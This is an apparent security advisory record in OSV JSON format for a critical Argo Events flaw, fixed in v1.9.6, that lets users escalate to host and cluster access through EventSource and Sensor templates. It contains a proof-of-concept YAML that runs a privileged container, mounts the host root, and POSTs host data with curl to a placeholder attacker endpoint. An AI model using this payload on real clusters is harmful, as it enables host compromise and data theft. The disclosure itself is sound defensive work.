{"schema_version":"1.7.3","id":"GHSA-hmp7-x699-cvhq","published":"2025-04-14T17:47:39Z","modified":"2026-02-04T03:10:37.595444Z","aliases":["CVE-2025-32445","GO-2025-3608"],"related":["CGA-8795-658q-ccp9"],"summary":"Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR ","details":"### Summary:\n\nA user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.\n\n### Details:\n\nThe `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below.\n\n```golang\n    if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil {\n        if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {\n            return nil, err\n        }\n    }\n```\n\nWith these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`.\n\nHere is an example that demonstrates the vulnerability.\n\n```\napiVersion: argoproj.io/v1alpha1\nkind: EventSource\nmetadata:\n  name: poc-vulnerable-eventsource\nspec:\n  webhook:\n    security-test:\n      port: \"12000\"\n      endpoint: \"/webhook\"\n  template:\n    container:\n      image: ubuntu:latest\n      command: [\"/bin/bash\"]\n      args: [\n        \"-c\",\n        \"apt-get update && apt-get install -y curl && while true; do\n         rm -f /tmp/data;\n         echo '=== containerd socket ===' > /tmp/data 2>&1;\n         ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1;\n         echo '=== proof of host access ===' >> /tmp/data 2>&1;\n         cat /host/etc/hostname >> /tmp/data 2>&1;\n         curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/;\n         sleep 300;\n         done\"\n      ]\n      securityContext:\n        privileged: true\n        capabilities:\n          add: [\"SYS_ADMIN\"]\n      volumeMounts:\n        - name: host-root\n          mountPath: /host\n    volumes:\n      - name: host-root\n        hostPath:\n          path: /\n```\n\n### Impact:\n\n- Multi-tenant Clusters:\n  - Tenant isolation broken\n  - Non-admin users can gain host/cluster access\n  - Access to other tenants' data\n\n- Security Model Bypass:\n  - RBAC restrictions circumvented\n  - Pod Security Policies/Standards bypassed\n  - Host system compromised\n\n### Patches\n\nA [patch](https://github.com/argoproj/argo-events/pull/3528) for this vulnerability has been released in the following Argo Events version , which only limited properties under `spec.template.container` are allowed.\n\n`v1.9.6`\n\n### Credits\n\nThis vulnerability was found & reported by:\n\n@thevilledev\n\nThe Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.","affected":[{"package":{"name":"github.com/argoproj/argo-events","ecosystem":"Go","purl":"pkg:golang/github.com/argoproj/argo-events"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.9.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/04/GHSA-hmp7-x699-cvhq/GHSA-hmp7-x699-cvhq.json"}}],"references":[{"type":"WEB","url":"https://github.com/argoproj/argo-events/security/advisories/GHSA-hmp7-x699-cvhq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-32445"},{"type":"WEB","url":"https://github.com/argoproj/argo-events/pull/3528"},{"type":"WEB","url":"https://github.com/argoproj/argo-events/commit/18412293a699f559848b00e6e459c9ce2de0d3e2"},{"type":"PACKAGE","url":"https://github.com/argoproj/argo-events"},{"type":"WEB","url":"https://pkg.go.dev/vuln/GO-2025-3608"}],"database_specific":{"cwe_ids":["CWE-250","CWE-268"],"github_reviewed":true,"github_reviewed_at":"2025-04-14T17:47:39Z","nvd_published_at":"2025-04-15T20:15:39Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"}]}